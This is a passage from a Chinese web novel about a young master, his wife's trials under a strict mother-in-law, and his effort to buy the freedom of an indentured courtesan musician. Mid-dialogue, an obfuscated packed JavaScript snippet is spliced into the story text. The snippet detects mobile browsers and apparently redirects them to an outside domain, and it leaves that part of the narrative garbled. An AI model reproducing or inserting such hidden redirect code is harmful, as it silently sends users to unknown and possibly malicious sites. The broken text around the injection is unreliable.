两人相拥着,在甜蜜温馨的氛围中缓缓睡去,一夜好眠。 翌日清晨,阳光透过窗棂,轻柔地洒在床榻之上。李傲雪悠悠转醒,看着身旁仍在熟睡的肖晨,嘴角不自觉地泛起一抹温柔笑意。她小心翼翼地起身,生怕惊扰了肖晨,随后轻手轻脚地准备好洗漱用具。 待一切准备妥当,李傲雪才轻轻摇醒肖晨:“少爷,该起身了。” 肖晨缓缓睁开双眼,看到李傲雪温柔的面容,心中满是暖意。 在李傲雪的服侍下,肖晨起身穿衣。李傲雪一边细致地为肖晨整理着衣衫,一边轻声说道:“我最幸福的就是每天能够伺候少爷。” 肖晨听后,忍不住亲了她一下,认真地说道:“你是我的妻子,又不是丫鬟。” 李傲雪脸上微微一红,赶忙说道:“少爷不要再说这些话。女子伺候丈夫是应该的,少爷不要让我难做。” 肖晨无奈地笑了笑,宠溺地说道:“罢了,你喜欢就行。” 看着李傲雪忙碌却又开心的身影,肖晨心中感慨,虽然两人观念略有不同,但这份心意却是无比珍贵。 洗漱好后,两人携手来到饭厅,只见肖母早已端坐在主位上。李傲雪赶忙上前,恭敬地向肖母问安:“母亲,儿媳给您请安了。” 肖母微微皱眉,眼神中略带不满,说道:“你做媳妇也够懒的,还要让我等你过来。” 肖晨一听,赶忙护在李傲雪身前,说道:“母亲,您就别为难傲雪了。她昨日忙前忙后,想必是累着了,所以起晚了些。” 肖母哼了一声,说道:“我这是为你好。身为当家主母,若是连早起这点规矩都守不住,日后如何掌管这一大家子?” 李傲雪心中有些委屈,但还是轻声说道:“母亲教训得是,儿媳日后定会注意,不会再犯。” 肖晨看着李傲雪受委屈的模样,心中不忍,又对肖母说道:“母亲,傲雪初来乍到,许多规矩还不熟悉,您多教教她便是,不必如此严厉。” 肖母看着儿子护妻心切的样子,无奈地摇摇头,说道:“罢了罢了,就你惯着她。赶紧坐下吃饭吧,饭菜都要凉了。” 肖晨这才拉着李傲雪坐下,用餐时,还时不时给李傲雪夹菜,眼神中满是关切。李傲雪则低着头,安静地吃着饭,心中默默想着,一定要尽快熟悉家中规矩,不让肖晨为难。 三人用过餐,肖晨便踱步去书房读书。肖母转过头,目光直直看向李傲雪,缓缓开口:“虽说家里不缺人手,但你身为这家中的媳妇,以后除了伺候好丈夫,也不能偷懒。你现在就去把我房间整理一番,完了再去准备中午我要吃的菜。” 李傲雪赶忙应下:“是,母亲。儿媳这就去办。”她不敢有丝毫耽搁,转身便往肖母房间走去。到了房中,她先是将散落在桌上的物件一一归位,动作娴熟且迅速,擦拭家具时,不放过任何一个角落,力求一尘不染。整理床铺时,把被子叠得方方正正,床单抚平得没有一丝褶皱。 结束房间整理后,李傲雪又匆匆赶到厨房。她仔细回想肖母平日的口味喜好,挑选出鲜嫩的时蔬,又精心选了块肥瘦相间的猪肉。她有条不紊地洗菜、切菜,配菜搭配得恰到好处。一切准备就绪,只待生火烹饪,为肖母准备一顿可口的午餐,期望能借此让肖母对自己的印象有所改观。 肖母侧身,对着身旁侍奉的丫鬟轻声吩咐:“待会她做菜的时候,你就去告诉她,就说我要吃少油少盐的食物,可千万别让她忘了给我炖上最爱吃的燕窝。”丫鬟福了福身,乖巧应道:“是,老夫人。”说罢,便轻移莲步,朝着厨房走去。 此时李傲雪正在厨房中忙碌,炉灶上的火苗跳跃着,锅里的油微微冒烟。丫鬟走进厨房,清了清嗓子说道:“少夫人,老夫人吩咐了,她要吃少油少盐的食物,还有,老夫人最爱的燕窝可别忘了炖。”李傲雪停下手中动作,微笑着回应:“好的,我记住了,多谢你过来告知。”丫鬟微微点头,便退了出去。 李傲雪不敢懈怠,将锅中的菜迅速翻炒几下,减少油的用量,调味时也格外注意盐的分寸。随后,她洗净炖盅,仔细挑选出上等的燕窝,按照炖煮的讲究,放入适量的水,调好火候,开始精心烹制燕窝。 过了许久,李傲雪终于将饭菜和炖好的燕窝一一摆放在托盘上,小心翼翼地端去给肖母。她轻轻叩响房门,得到肖母“进来”的回应后,才稳步踏入房中。 李傲雪将托盘置于桌上,轻声说道:“母亲,饭菜准备好了,您尝尝合不合口味。” 肖母抬眼打量了一下桌上的菜肴,只见色泽搭配倒是清爽宜人,燕窝炖煮得也恰到好处,丝丝缕缕,泛着莹润的光泽。 肖母拿起筷子,先尝了一口菜,咀嚼了几下,微微点头:“嗯,这次盐味把握得还不错,少油也做到了。” 李傲雪心中一喜,脸上浮现出淡淡的笑容:“母亲喜欢就好,儿媳以后会更加留意您的口味。” 接着,肖母又舀了一勺燕窝送入口中,轻轻抿了抿,脸色却忽然一沉。李傲雪见状,心中“咯噔”一下,紧张地问道:“母亲,可是这燕窝有什么不妥?” 肖母放下勺子,略带责备地说:“这燕窝炖煮的火候虽好,可甜度却差了些,我向来喜欢甜口重一点的。” 李傲雪赶忙致歉:“母亲,实在抱歉,是儿媳疏忽了。儿媳这就去重新炖一份。” 说着,便要端起燕窝离开。肖母摆了摆手:“罢了,这次就这样吧,下次可别再犯。你也坐下吃点,站在这儿看着,我反倒不自在。” 李傲雪应了一声“是”,这才在一旁的小凳上坐下,心中却仍有些忐忑。用餐过程中,肖母偶尔会说上几句关于家中琐事和规矩的话,李傲雪都一一认真记下。 吃完饭后,李傲雪主动收拾碗筷,准备拿去厨房清洗。肖母看着她忙碌的背影,心中暗暗思忖:这媳妇虽说有些地方还不够周到,但态度倒是诚恳,若能好好调教,日后或许能成为儿子的贤内助。 而李傲雪在厨房洗刷碗筷时,心里也在琢磨着如何更好地迎合肖母的喜好。她深知,要想在这个家安稳幸福地生活,得到肖母的认可至关重要。 李傲雪忙完厨房的活儿,便回到自己房间,坐在织布机前继续织布纺线。细密的汗珠从她额头沁出,可她的双手依旧不停地穿梭引线,动作娴熟而专注。 这时,玉溪轻手轻脚地走进房间,看着李傲雪辛苦劳作的模样,忍不住心疼地说道:“少夫人,你看看你现在这么辛苦,要不要告诉公子呀?他肯定不会坐视不管的。” 李傲雪停下手中的动作,用衣袖轻轻擦了擦额头上的汗,微笑着对玉溪说道:“不要告诉少爷。要是让他知道了,跑去跟母亲理论,反而会让母亲为难。” 玉溪皱着眉头,一脸不平地说道:“老夫人这就是故意为难你呀!少夫人你已经做得够好了,还要这般苛刻。” 李傲雪轻轻摇了摇头,耐心地解释道:“玉溪,婆婆毕竟是长辈,这家里的规矩向来如此。在这世道,做媳妇的要是不孝顺、不顺从长辈,是会被人指指点点,甚至可能被赶出去的。我不想因为这些事,让少爷夹在中间左右为难,也不想破坏了家里的和睦。” 玉溪无奈地叹了口气:“少夫人,您就是心太软,太为他人着想了。可您也不能总这么委屈自己呀。” 李傲雪拍了拍玉溪的手,安慰道:“我知道你心疼我,但我相信只要我用心去做,总有一天母亲会看到我的好,会认可我的。你也别把这些事放在心上,咱们做好自己该做的就行。”说完,李傲雪又重新拿起梭子,继续织布,眼神中透着坚韧与执着。玉溪看着她,心中满是敬佩与心疼,却也只能默默在一旁帮忙打下手。 肖晨在书房中结束了一天的课业,恭敬地送走老先生后,心中不禁挂念起李傲雪。他转头看向身旁的小厮阿成,问道:“阿成,你可知少夫人这会儿在做什么?” 阿成心中有些犹豫,他知晓李傲雪今日的忙碌与辛苦,可又怕如实相告会让少夫人难做,思忖片刻后说道:“少爷,少夫人在房里织布打发时间呢。” 肖晨听闻,微微点头,脑海中浮现出李傲雪专注织布的模样,心想:她的绣工不错,平日里也爱摆弄这些,这样倒也能给自己找些事做,不至于太过无聊。如此想着,便也没再多问。 他伸了伸懒腰,对阿成说道:“陪我出去走走吧,在书房闷了一天,也该活动活动筋骨了。”阿成赶忙应道:“是,少爷。”两人便一前一后走出了书房,沿着庭院中的石子路缓缓踱步。 此时正值午后,阳光透过斑驳的树叶洒在地上,形成一片片光影。肖晨漫步其中,呼吸着清新的空气,心情也渐渐放松下来。然而,他心底仍隐隐牵挂着李傲雪,只是并未察觉,阿成那番话背后或许另有隐情。 走着走着,肖晨不禁与阿成聊起了近日所学,阿成在一旁认真倾听,偶尔也会插上几句见解。不知不觉间,他们已绕着庭院走了好几圈,而李傲雪在房内忙碌的画面,却始终萦绕在肖晨心头,挥之不去。 肖晨与阿成踏出府邸,街市的热闹喧嚣瞬间扑面而来。人来人往,叫卖声、谈笑声交织在一起。肖晨看着熙熙攘攘的人群,心中不禁泛起一丝担忧,暗自思忖:要是能有个武艺高强的护卫在身边就好了。虽说阿成向来对自己忠心耿耿,可真要是遇上点突发状况,以阿成的身手,恐怕也保护不了自己。 阿成跟在肖晨身后,见他眉头微皱,似有心事,便关切地问道:“少爷,您怎么了?是不是这街市太过嘈杂,扰了您的兴致?”肖晨回过神来,摆了摆手道:“无妨,只是突然想到一些事情。阿成,你说若是我们在此遇到什么危险,该当如何?” 阿成一愣,随即拍着胸脯说道:“少爷放心,有我在,定会拼死保护您周全!”肖晨看着阿成一脸决然的模样,心中感动,却也深知他的能力有限,笑着说道:“我知道你忠心,可有些事并非仅凭忠心就能解决。改日,我寻思着要找父亲商议,看看能否为我安排个护卫。” 阿成挠了挠头,有些不好意思地说:“少爷,是我能力不足,不能给您足够的安全感。”肖晨笑着拍了拍他的肩膀:“你别多想,这并非你的错。多个人在身边,总归是多一份保障。”说罢,两人继续在街市上走着。 肖晨漫步间,来到了一处摆满鸟笼的摊位前。笼中,各式各样的鸟儿或扑腾着翅膀,或婉转啼鸣。他的目光瞬间被一只八哥吸引,只见那八哥羽毛乌黑发亮,眼睛灵动有神,正歪着头打量着周围。 肖晨不禁眼前一亮,对摊位老板说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993190|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这鸟不错,有什么特点?” 老板一听,立刻满脸堆笑地凑过来,热情介绍道:“公子好眼力!这八哥可机灵着呢,学舌的本事那叫一绝。您要是教它说话,不出几日,它便能学得有模有样,逗趣得很。平日里寂寞了,听它学您讲话,保准能让您开怀大笑。而且这八哥认主,一旦跟您熟悉了,就只听您的话,旁人可使唤不动。” 肖晨饶有兴致地看着八哥,心想若是买来送给丁香姑娘,她每日在弹琴待着也无聊,有这八哥相伴,也能多些乐趣,解解闷儿。他又细细端详了一番八哥,问道:“这鸟生性可好?会不会难伺候?” 老板连忙摆手,保证道:“公子放心,这八哥生性活泼亲人,平日里就喂些谷物、虫子就行,好养活得很。只要您稍微花些心思,保管它跟您亲近得不得了。” 肖晨听老板说完,很是满意,点头示意阿成付了钱。阿成从怀中掏出银子递给老板,老板喜笑颜开,忙不迭地将八哥的鸟笼交到肖晨手中。 二人转身离开摊位,径直朝着湖边走去。湖边,一艘艘画舫静静停泊,在阳光的照耀下,船身的朱漆泛着光泽。肖晨带着阿成登上一艘装饰精美的画舫,这艘船正是丁香姑娘待客抚琴之处。 走进画舫内,清幽的琴音袅袅传来。肖晨轻轻踱步,顺着琴音的方向寻去,只见丁香姑娘正端坐在室内,素手轻扬,在琴弦上舞动。她面前坐着几位客人,正闭眼沉醉在这美妙的琴音之中。 肖晨不忍心打扰,便轻手轻脚地在一旁找了个位置坐下,静静等待。他将装有八哥的鸟笼小心放置在身旁,目光时不时落在丁香姑娘身上,又看看鸟笼里的八哥,心中想着等丁香姑娘一曲奏毕,便把这可爱的八哥当作惊喜送给她,想必她定会欢喜。阿成则安静地站在肖晨身后,同样沉浸在这悠扬的琴音里,一时间,画舫内唯有那潺潺流淌般的琴音在空气中回荡。 随着最后一个音符袅袅消散在空气中,客人们如梦初醒,纷纷回过神来,对丁香姑娘的琴艺赞不绝口。“丁香姑娘,此曲只应天上有,人间能得几回闻呐!”一位身着绸缎的中年男子忍不住赞叹道。其他人也随声附和,纷纷掏出赏钱放在桌上。 丁香起身,莲步轻移,微微欠身向客人们道谢,脸上带着温婉的笑容,眼神中透着淡雅与从容。待客人散去后,她才注意到坐在角落的肖晨。 “肖公子,您来了,怎么也不唤我一声。”丁香款步走到肖晨面前,轻声说道,语气中带着一丝嗔怪。 肖晨站起身来,笑着说道:“方才见你抚琴正投入,实在不忍打断,只好在一旁静静聆听。不得不说,你的琴艺又精进了不少。” 丁香脸颊微微泛红,低头浅笑:“公子谬赞了。不知公子今日前来,所为何事?” 肖晨这才想起身旁的八哥,他弯腰提起鸟笼,递到丁香姑娘面前,说道:“今日在街市上看到这只八哥,觉得甚是有趣,想着你平日里抚琴弄弦,有它相伴,也能多些乐趣,便买了下来送与你。” 丁香惊喜地看着鸟笼里的八哥,眼中满是欢喜:“呀,这八哥真可爱!瞧它圆溜溜的眼睛,模样机灵极了。多谢公子,如此费心想着我。”她轻轻接过鸟笼,爱不释手地端详着八哥。 肖晨看着丁香开心的模样,心中也满是愉悦:“你喜欢便好。这八哥学舌本事了得,假以时日,说不定能与你对话呢。” 丁香抬眸,目光盈盈地看着肖晨:“公子送的礼物,我自然喜欢。只是如此珍贵的礼物,我……” 肖晨摆摆手,打断她的话:“你我之间,何须如此客气。只要你能开心,比什么都重要。” 阿成站在一旁,看着自家公子与丁香姑娘相处融洽,也不禁微微露出笑意。 丁香眼中闪烁着晶莹的泪光,声音略带颤抖地说道:“公子,自我记事起,从来没人把我这么放在心上。我出身卑微,在这世间摸爬滚打,看惯了男人们或轻佻、或贪婪的嘴脸。他们大多只是为了听我抚琴,或者抱着其他不纯的目的,从来没有遇到像公子这样真心待我的少年郎。” 肖晨心中一阵触动,看着丁香姑娘楚楚可怜的模样,不禁心生怜惜。他轻声说道:“丁香姑娘,出身并不能决定一个人的价值,你才情出众,心地善良,值得被真心对待。我欣赏的是你的内在,而非其他。” 丁香微微点头,用帕子轻轻拭去眼角的泪花,努力挤出一抹笑容:“多谢公子宽慰,能得公子这番话,丁香此生无憾。只是,我这身份……” 肖晨明白她心中的顾虑,认真地说道:“莫要再提身份之事。在我眼中,你就是那个能奏出天籁之音,有着高洁品性的丁香姑娘。日后若有什么难处,尽管与我说便是。” 丁香心中涌起一股暖流,她深情地看着肖晨,说道:“公子的大恩,丁香铭记于心。日后若公子有任何差遣,丁香定当全力以赴。” 肖晨笑着摇摇头:“无需如此,我只愿你能每日开心,继续奏出美妙的琴音。对了,这八哥你可要好好调教,说不定以后它能给你带来更多欢乐。” 丁香看着鸟笼里的八哥,眼神满是温柔:“嗯,我定会好好待它,就如同珍视公子的这份情谊一般。” 肖晨看着丁香姑娘,目光柔和地说:“这鸟能得到你这样的主人相待,也是它的运气。不过丁香,我一直想问,你打算余生都留在这里吗?” 丁香姑娘微微一愣,随即神色黯然下来,轻轻叹了口气说道:“公子,我又何尝不想离开这声色之地,去过自在的生活。只是我的卖身契还在他们手里,他们把我当作摇钱树,是无论如何都不会放人的。” 说到此处,她的眼中闪过一丝无奈与悲凉,低下头去,看着手中鸟笼里的八哥,仿佛在它身上看到了自己被困住的命运。 肖晨皱了皱眉,心中涌起一阵不平:“这也太过分了!难道就没有别的办法?你在这里日夜操持,所赚银钱想必也足够赎回自己,他们却仍不肯放人,实在可恶。” 丁香姑娘苦笑着摇摇头:“公子有所不知,这行里的规矩复杂得很。即便我攒够了赎身的银子,他们也会想出各种理由刁难,或是抬高赎金,总之就是不想轻易放我走。” 肖晨握紧了拳头,心中暗自思量对策,片刻后,他抬起头看着丁香姑娘,眼神坚定地说:“丁香,你莫要灰心。我定会想办法帮你摆脱这困境,赎出你的卖身契,让你重获自由。” 丁香姑娘听闻,眼中闪过一丝惊喜与感动,连忙说道:“公子,此事太过艰难,怎能让您为我如此费心。这……” 肖晨打断她的话:“你我既是朋友,我又怎能眼睁睁看你被困于此。你只需安心等待,我定不会食言。” 丁香姑娘眼眶再次湿润,她微微屈膝,深深行了一礼:“若真能如此,丁香做牛做马也要报答公子大恩。” 肖晨赶忙上前扶起她:“快别这样,我说过,无需如此见外。咱们一起想办法,总会成功的。” 肖晨心意已决,当即让丁香带着自己去见这里的老板。一行人来到一处布置奢华的房间前,丁香轻轻推开门,屋内为首的领头人看到肖晨,见这少爷穿着绫罗绸缎,气度不凡,心中暗暗思忖,此人想必出身富贵之家。 领头人皱了皱眉,看向丁香说道:“丁香,你带客人来做什么?” 肖晨上前一步,开门见山地说道:“我想给她赎身。” 领头人听后,脸色一沉,冷笑一声说道:“我们是不会放人的。各行都有各行的规矩,丁香签了死契,岂是说赎就能赎的。就算你再有钱也没用。” 肖晨面色平静,直视着领头人的眼睛,不卑不亢地说道:“规矩是死的,人是活的。我知道你们在这行经营不易,只要你们开个价,合理范围内,我绝不还价。丁香在你们这儿这么久,也为你们赚了不少银钱,还请行个方便。” 领头人哼了一声,不为所动:“哼,不是钱的事儿。她可是我们这儿的招牌,放走了她,我们的生意怎么办?况且,坏了这规矩,以后其他姑娘都效仿,我们还怎么管理?” 丁香在一旁忍不住说道:“王头领,我这些年尽心尽力为馆里做事,从未有过二心。如今公子愿意帮我赎身,还望您高抬贵手。” 领头人瞪了丁香一眼:“你少在这儿多嘴!有你说话的份儿吗?” 肖晨见状,心中有些恼怒,但仍强压怒火,思索着对策。他深知,此事不能硬来,还需从长计议,可又实在不愿轻易放弃帮丁香赎身的念头。 30. 人性的贪婪 领头的睨了肖晨一眼,语气中带着一丝警告:“我看你也是客人的份上就不跟你计较了,要是你不懂规矩,我们这可是不会留情面的。” 他心里暗自盘算,女子就是摇钱树,只要还有利用价值,每天可是日进斗金。那点赎身钱算得了什么,放走丁香,无疑是断了自己一条财路。 肖晨眉头紧皱,心中明白领头人是铁了心不肯放人。但他并不打算就此罢休,思索片刻后,放缓语气说道:“王头领,我理解您的顾虑,可您也该为丁香往后的人生想想。她在这儿这么多年,为您挣了多少银钱,您心里清楚。如今她渴望一个安稳的归宿,您又何必苦苦相逼呢?” 领头人不屑地撇撇嘴:“哼,在这世上,谁不为自己考虑?她的归宿与我何干?我开这生意,就是为了赚钱。她在这儿,能给我带来源源不断的财富,我凭什么放她走?” 肖晨深吸一口气,试图换个角度说服对方:“王头领,您不妨换个思路。若是今日您成全了丁香,我肖家必定记您这份人情。日后您在生意上若有什么需要帮忙的地方,只要是我肖家力所能及的,绝不会推脱。这可比您留住丁香一人,长远得多。” 领头人微微一怔,肖家的名号他倒是听过,知晓是本地颇有权势的家族。但他仍有些犹豫,毕竟丁香眼下的价值实实在在摆在眼前。权衡再三,他还是咬咬牙说道:“肖公子,不是我不给您面子,只是这事儿关乎我们的规矩和生计,实在难以通融。” 丁香眼中满是绝望,泪水在眼眶里打转,她实在没想到领头人竟如此绝情。肖晨看在眼里,心中愈发怜惜丁香,也更加坚定了要帮她脱离苦海的决心。 肖晨心急如焚,再次对头领说道:“你只要放了她,多少钱都可以。无论你开什么价,我都尽量满足。” 领头人听闻,嘴角勾起一抹狡黠的笑,慢悠悠地说道:“这个可不行,她除了赚钱还有其他价值。你要真想赎身,就拿全部的家产来换。”他心里笃定肖晨绝不可能答应这个条件,不过是故意刁难,想让肖晨知难而退。 肖晨闻言,心中一凛,着实没想到他们的胃口竟如此之大。那些家产是几代人辛辛苦苦积攒下来的血汗,承载着家族的兴衰荣辱,他怎么可能轻易拿出。无奈之下,肖晨只得说道:“这个我办不到。” 领头的见状,得意地笑了笑,摆摆手说道:“既然做不到,那就请回吧。以后莫要再来提这档子事,省得大家都不愉快。” 肖晨心中满是愤怒与不甘,可此时确实无计可施。他看向丁香,只见她满脸泪痕,眼神中充满了绝望与无助。肖晨暗暗发誓,一定会想出办法救她出去。他强压下怒火,对领头人说道:“今日之事,我不会就此作罢。你最好重新考虑,别把事情做绝。”说罢,带着丁香转身离开。 一路上,丁香泣不成声:“公子,难为您了,是我连累您。我就知道他们不会轻易放过我……”肖晨安慰道:“丁香,你别自责,我一定会救你出来。他们这般贪婪,我定不会让他们得逞。你先安心等待,容我想想办法。”两人身影渐渐远去,可肖晨心中的执念愈发坚定。 丁香抬起满是泪痕的脸,目光直直地看向肖晨,声音带着一丝颤抖问道:“公子,您真的只是把我当成朋友吗?” 肖晨微微一怔,随即认真地看着丁香,毫不犹豫地说道:“我自然是把你当朋友,在我心中,朋友之间就该相互扶持。” 丁香轻轻摇头,眼中满是决然:“公子,我有我的原则,我不能平白无故接受您的恩惠。哪怕是朋友也不行。我不想欠任何人。”她垂下眼眸,像是在自言自语:“这么多年,我历经坎坷,深知人情债最难还。” 肖晨心中有些动容,他明白丁香看似柔弱,实则内心坚韧,有自己坚守的底线。他思索片刻,缓缓说道:“丁香,我理解你的想法。可朋友之间的帮助,并非是让你欠下什么。我真心希望能帮你脱离困境,这对我来说,也是一种慰藉。” 丁香抬起头,眼中闪过一丝犹豫:“公子,您的好意我心领了。只是,此事于我而言,太过沉重。我不想因为自己的事,给您带来麻烦。” 肖晨微微一笑,目光坚定:“麻烦与否,我自己清楚。而且,若我对朋友的困境视而不见,才会让我良心难安。你无需有太多顾虑,就当这是朋友间的一场互助。” 丁香沉默良久,最终轻轻叹了口气:“公子,您的这份情谊,丁香铭记于心。只是,我还是希望能以自己的方式解决此事。” 肖晨看着丁香,知道她一时难以改变想法,便说道:“那好,丁香。我们都各自想想办法。但你要记住,无论何时,只要你需要,我都会在你身边。”丁香微微点头,两人虽未达成一致,可彼此间的情谊,却在这一番对话中愈发深厚。 丁香凝视着肖晨,眼中满是复杂的情绪,有感动,也有一丝困惑,轻声说道:“公子,您真的跟别人不一样。这么久以来,围绕在我身边的人,大多都怀着目的,或图我的才艺,或有其他算计。您就没有想过从我这里得到好处吗?” 肖晨坦然地笑了笑,目光清澈而真挚,说道:“我从来没有想过这些。在我心中,咱们是知己。知己之间,本就应该相互扶持。看到你身处困境,我若袖手旁观,又怎能对得起‘知己’二字?” 丁香微微动容,心中的防线在肖晨这一番话下渐渐瓦解。她垂下眼帘,思忖片刻后说道:“公子,您的这份情谊太重,我……我不知道该如何回报。” 肖晨轻轻摇头,说道:“回报二字太过见外了。若你真想有所表示,待你脱离困境后,继续随心抚琴,与我分享生活中的点滴,便是最好的回报。” 丁香抬起头,眼中泪光闪烁,嘴角泛起一抹淡淡的笑意:“公子放心,若真有那一天,丁香定不负您的期望。只是,这赎身之事艰难重重,不知何时才能有转机。” 肖晨神色坚定,目光中透着不容置疑的决心:“总会有办法的。我们一起想,一起面对。我就不信,凭我们的努力,还挣脱不了这困境。” 丁香说着,眼神黯淡下去,声音也染上了几分悲凉:“就算我能出去,我也早已经看淡了。世人是不会接纳卖笑的女子,在他们眼中,我只是个货物,被人随意丢弃的破烂一样。” 肖晨心中一痛,看着丁香满是哀伤的面容,他语气坚定地说道:“丁香,你莫要这般妄自菲薄。那些人的看法又怎能定义你的价值?你有出众的才情,有一颗纯净善良的心,这岂是他人能随意诋毁的。” 丁香苦笑着摇头:“公子,您身处世家,不知世间冷暖。像我这样的女子,一旦踏入这风尘之地,便再难洗清污名。即便出去,也只会受尽冷眼与歧视。” 肖晨握住丁香的肩膀,目光灼灼地看着她:“你不能因他人的偏见,就放弃自己。若这世间的看法有误,那我们便用行动去纠正。我会陪你一起,让他们看到真实的你,绝非他们所想的那般。” 丁香心中涌起一股暖流,肖晨的话如同一束光照进她那早已灰暗的世界。她眼中闪过一丝希望,但又很快被担忧取代:“公子,您的心意我明白,可这谈何容易。只怕到最后,还会连累您。” 肖晨松开手,微微仰头,神色毅然:“我既已决定,便不会退缩。若连我都因世俗的眼光而逃避,又有何颜面称你为知己?你只需相信我,我们定能打破这偏见的枷锁。” 丁香凝视着肖晨,心中五味杂陈,感动、担忧、希望交织在一起。最终,她轻轻点了点头,低声说道:“好,我信公子。”这一刻,在肖晨的鼓励下,丁香心中那熄灭已久的对未来的憧憬,又重新燃起了一丝火苗。 肖晨心中一阵愤然,这么好的女子,竟要被世人这般不容。思绪不由自主飘远,恍惚间,他想到在现代听闻的那些夜店女郎,为了钱财毫无底线,不惜去充当第三者,破坏别人的美满家庭。 可眼前的丁香,虽身处类似卖笑营生的环境,却有着自己的坚守,有着纯净的灵魂。她的无奈、她的善良,与那些为达目的不择手段的人相比,简直天壤之别。 他越发坚定要帮助丁香摆脱困境的决心,不能让这世间的偏见,继续掩埋如此美好的灵魂。他深知,自己必须尽快想出办法,打破这不合理的局面,让丁香能堂堂正正地生活,向世人证明她的珍贵与独特。 就在肖晨与丁香沉浸在这番交谈时,侍从从外面匆匆走进来,看向丁香说道:“姑娘,客人已经在等候你了,还不赶紧去弹琴。” 肖晨下意识地看向丁香,问道:“一定要去吗?” 丁香面露无奈,轻轻点头说道:“只是弹奏一曲,不会太久的。在这里讨生活,身不由己,若不去,他们又该刁难我了。”说罢,她深深看了肖晨一眼,似在安抚他的情绪,随后便整理了一下衣衫,拿起琴谱,莲步轻移,跟着侍从离去。 肖晨望着丁香离去的背影,心中满是不忍与担忧。他在原地踱步,思索着如何才能尽快帮丁香摆脱这种任人摆布的生活。每等一刻,他对那领头人的不满便多一分。 那几位客人已等得不耐烦,见丁香终于出来,脸色都有些难看。其中一人没好气地问旁边的侍从:“怎么让我们等这么久?”侍从赶忙赔笑,解释道:“实在对不住各位爷,有人要给她赎身,所以才耽误了。” 几人听完,先是一愣,随即哄堂大笑起来。一个穿着华丽锦袍的男人轻蔑地说道:“竟然有这样的蠢货,为了一个低贱女人赎身,是要把她纳妾吗?” 另一个手摇折扇的公子哥也跟着附和:“这女人长的倒是不错,还会弹琴,玩玩还行。要是带回去,那还不有辱门风。”说罢,几人又一阵哄笑,言语间满是对丁香的不屑与嘲讽。 丁香默默走到琴案前,坐下准备抚琴,她低垂着眼帘,将眼中的屈辱与难过深深藏起,手指轻轻搭在琴弦上,试图用这熟悉的动作来平复内心的波澜。可那些刺耳的话语,如同重锤般敲打着她的心。尽管已在这风月场中历经冷暖,可此刻她的心,还是忍不住一阵刺痛。 肖晨在不远处将这一切看在眼里,心中的怒火“噌”地一下燃起。他握紧了拳头,恨不得立刻上前去反驳这些人的无礼言论。但他知道,此刻冲动行事并非良策,只会给丁香带来更多麻烦。他强忍着怒火,不让自己喷发。 丁香深吸一口气,努力让自己镇定下来,随后手指拨动琴弦,琴音袅袅响起。她试图将满心的委屈与悲愤融入这琴音之中,期望能借此稍稍舒缓内心的痛苦。 然而,那几个客人却似乎并未察觉到她琴音中的情绪变化,依旧在一旁肆意谈笑,对她的演奏置若罔闻。其中一人甚至在琴音中大声喊道:“这曲子往日听着还新鲜,今儿怎么就觉得这么乏味,是不是这女人心不在焉,故意敷衍咱们?” 丁香的手微微一颤,一个音符错了节拍,但她很快调整过来,继续弹奏。她知道,自己不能冲动,一旦激怒这些客人,后果不堪设想。 肖晨看着丁香强颜欢笑地应对这一切,心中愈发心疼。他再也无法忍受,走上前去,对着那些客人说道:“各位,如此美妙的琴音,你们却这般亵渎,实在是有失风度。” 那些客人先是一愣,随即反应过来,上下打量着肖晨。那个穿着锦袍的男人嘲笑道:“哪里来的小子,敢来管我们的闲事?怎么,你就是那个要为这贱女人赎身的蠢货?” 肖晨面色平静,毫不畏惧地直视对方:“她并非你们口中的贱女人,她才情出众,你们不懂欣赏,反倒肆意羞辱,才是真正的低俗。” “哟呵,还挺会护着她。怎么,你是真打算把她娶回家啊?也不怕被人笑话。”另一个客人阴阳怪气地说道。 肖晨冷笑一声:“我做事无需向你们解释,也不怕他人笑话。倒是你们,以践踏他人尊严为乐,实在令人不齿。” 那几个客人被肖晨的话激怒,纷纷站起身来,撸起袖子,似乎要对肖晨动手。此时,领头人听到动静,赶忙从后面走了出来,赔着笑脸说道:“各位爷,消消气,消消气。有话好好说,别伤了和气。” 领头人看向肖晨,眼神中带着警告:“肖公子,您这又是何必呢?在这里闹事,对您也没好处。” 肖晨毫不退缩:“我只是看不惯你们这些人对丁香的侮辱。今日之事,若不给个说法,我不会善罢甘休。” 领头人心中暗自恼怒,但又顾忌肖家的势力,一时间有些骑虎难下。而此时,丁香停下了手中的琴,站起身来,眼中含泪,对肖晨说道:“公子,莫要为了我与他们起冲突,不值得。” 肖晨看着丁香,坚定地说道:“丁香,你无需害怕,我定会为你讨回公道。” 领头人皮笑肉不笑地看向肖晨,话里带着明显的驱赶之意:“你要是听曲,我们自然欢迎。可这里可不是你说理的地方。她既然在我们这儿,就有义务伺候好客人。”他顿了顿,佯装好意地劝道,“肖公子,我不想让你难堪,你还是回去吧,别耽误我们做生意。” 肖晨目光如炬,毫不退让地直视领头人:“我看你们是做着生意,却丢了良心。如此对待一个弱女子,还这般理直气壮。” 领头人脸色一沉,语气也冷了下来:“肖公子,饭可以乱吃,话可不能乱说。我们这儿按规矩办事,何来没良心一说?丁香签了契约,就得守规矩。” 肖晨冷笑一声:“什么规矩?不过是你们用来压榨她的借口罢了。今日我既然来了,就不会任由你们继续欺负她。” 这时,那几个客人不耐烦地嚷嚷起来:“跟他废什么话,赶紧把他赶出去,别扫了我们的兴致。” 领头人有些为难,一方面不想得罪肖家,另一方面又要安抚这些客人。他权衡片刻,对肖晨说道:“肖公子,您执意如此,我也没办法。但您若再搅和,就别怪我不客气了。” 丁香焦急万分,她走到肖晨身边,低声说道:“公子,您快走吧。别为了我与他们起冲突,我……我没事的。” 肖晨看着丁香满是担忧的眼神,心中一阵刺痛。他轻轻握住丁香的手,给了她一个安慰的眼神,而后对领头人说道:“你们这般恃强凌弱,我绝不会坐视不管。今日我要带丁香走,你们若是阻拦,后果你们担不起。” 